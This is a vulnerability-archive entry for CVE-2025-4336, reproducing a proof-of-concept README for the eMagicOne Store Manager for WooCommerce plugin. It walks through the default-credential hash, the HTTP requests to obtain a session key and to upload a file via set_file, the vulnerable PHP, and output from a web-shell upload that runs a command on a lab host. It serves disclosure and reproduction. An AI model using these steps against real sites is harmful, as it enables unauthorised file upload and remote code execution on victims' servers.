Associated Vulnerability
Title:eMagicOne Store Manager for WooCommerce <= 1.2.5 - Unauthenticated Arbitrary File Upload via set_file() (CVE-2025-4336)Description:The eMagicOne Store Manager for WooCommerce plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the set_file() function in all versions up to, and including, 1.2.5. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible. This is only exploitable by unauthenticated attackers in default configurations where the the default password is left as 1:1, or where the attacker gains access to the credentials.
Description
eMagicOne Store Manager for WooCommerce <= 1.2.5 - Unauthenticated Arbitrary File Upload via set_file Task
Readme
# eMagicOne Store Manager for WooCommerce <= 1.2.5- Arbitrary File Upload via set_file Task
The [eMagicOne Store Manager for WooCommerce](https://wordpress.org/plugins/store-manager-connector/) plugin exposes a remote management protocol endpoint (`?connector=bridge`) that allows file uploads to the server. The authentication mechanism relies on a default credential pair (`login=1`, `password=1`) and a session key system. If the default credentials are not changed, an attacker can trivially authenticate, obtain a session key, and upload arbitrary files (including PHP shells) to the WordPress root or any writable directory.
## Reproduction
* A POC [cve-2025-4336.py](./cve-2025-4336.py) is provided to demonstrate a remote attacker uploading a web shell and executing named `shell.php` via the default authentication mechanism, and executing remote code:
```console
python3 exploit.py https://lab1.hacker
[*] Requesting session key...
[*] Raw response: {"response_code":20,"revision":11,"module_version":"1.2.5","session_key":"6f46bc8b67b1c8f0dc871bcec9e162c1d43f047e5c46aec7d7fdf48d8c17ed69"}
[+] Got session key: 6f46bc8b67b1c8f0dc871bcec9e162c1d43f047e5c46aec7d7fdf48d8c17ed69
[*] Uploading file...
[*] Upload response: {"response_code":20,"message":"File was successfully uploaded"}
[*] Executing Web Shell Commands...
<pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff
altname enp0s3
inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0
valid_lft 23576sec preferred_lft 23576sec
inet6 fd17:625c:f037:2:a00:27ff:fe5b:342f/64 scope global dynamic mngtmpaddr noprefixroute
valid_lft 86363sec preferred_lft 14363sec
inet6 fe80::a00:27ff:fe5b:342f/64 scope link
valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 08:00:27:39:ea:eb brd ff:ff:ff:ff:ff:ff
altname enp0s8
inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1
valid_lft forever preferred_lft forever
inet6 fe80::a00:27ff:fe39:eaeb/64 scope link
valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:ef:a9:95:6a brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
</pre>
```
## Vulnerable Flow
### Default Credentials and Hash Calculation
On plugin activation, the following constants are set in `smconnector.php`:
```php
define( 'EMO_SMC_DEFAULT_LOGIN', '1' );
define( 'EMO_SMC_DEFAULT_PASSWORD', '1' );
```
The default hash used for authentication is:
```php
'smconnector_hash' => md5( EMO_SMC_DEFAULT_LOGIN . EMO_SMC_DEFAULT_PASSWORD ),
```
**Result:** The default hash is `md5('1' . '1')` = `c4ca4238a0b923820dcc509a6f75849b`.
### Session Key Acquisition
A session key is obtained by sending a POST request to the bridge endpoint with the hash and a task (e.g., `get_version`):
```http
POST /?connector=bridge
Content-Type: application/x-www-form-urlencoded
hash=c4ca4238a0b923820dcc509a6f75849b&task=get_version
```
**Relevant code:**
`classes/class-emosmconnectorcommon.php` (lines ~441-525):
```php
private function check_auth() {
if ( $this->shop_cart->isset_request_param( 'key' ) ) {
// ... session key validation ...
} elseif ( $this->shop_cart->isset_request_param( 'hash' ) ) {
$hash = (string) $this->shop_cart->get_request_param( 'hash' );
if ( ! $this->is_hash_valid( $hash ) ) {
// ... error ...
}
$key = $this->generate_session_key( $hash );
// ... return session key ...
}
}
```
---
### Session Key Storage
The session key is stored in the `wp_smconnector_session_keys` table:
```php
private function generate_session_key( $hash ) {
$key = hash( 'sha256', $hash . $timestamp );
$sql = 'INSERT INTO `' . self::TABLE_SESSION_KEYS
. "` (`session_key`, `date_added`, `last_activity`) VALUES ('" . $this->shop_cart->p_sql( $key ) . "', '"
. $date . "', '" . $date . "')";
$this->shop_cart->exec_sql( $sql );
return $key;
}
```
### Arbitrary File Upload
With a valid session key, an attacker can upload a file using the `set_file` task:
```http
POST /?connector=bridge&task=set_file&key=<session_key>&entity_type=.&filename=hello.txt
Content-Type: multipart/form-data
file=@hello.txt;type=text/plain
```
**Relevant code:**
`classes/class-emosmconnectorcommon.php` (lines ~2250+):
```php
private function set_file() {
// ... parameter checks ...
if ( ! $this->shop_cart->set_file( $entity_type, $filename, self::UPLOAD_FILE_NAME ) ) {
$this->generate_error( $this->br_errors['upload_file_error'] );
}
}
```
`classes/class-emosmcwoocommerceoverrider.php` (lines ~440+):
```php
public function set_file( $folder, $filename, $file ) {
$destination_path = $this->get_shop_root_dir() . "$folder/$filename";
if ( isset( $_FILES[ $file ]['tmp_name'] ) ) {
$tmp_name = sanitize_text_field( $_FILES[ $file ]['tmp_name'] );
$result = move_uploaded_file( $tmp_name, $destination_path );
}
if ( $result ) {
die(json_encode(array(self::CODE_RESPONSE => self::SUCCESSFUL, self::KEY_MESSAGE => 'File was successfully uploaded')));
}
}
```
**Result:** The file is written to the WordPress root (or any specified directory).
File Snapshot
[4.0K] /data/pocs/007c9ba389b679732e6f9078f2117f91b3644293
├── [2.6K] cve-2025-4336.py
└── [5.8K] README.md
0 directories, 2 files
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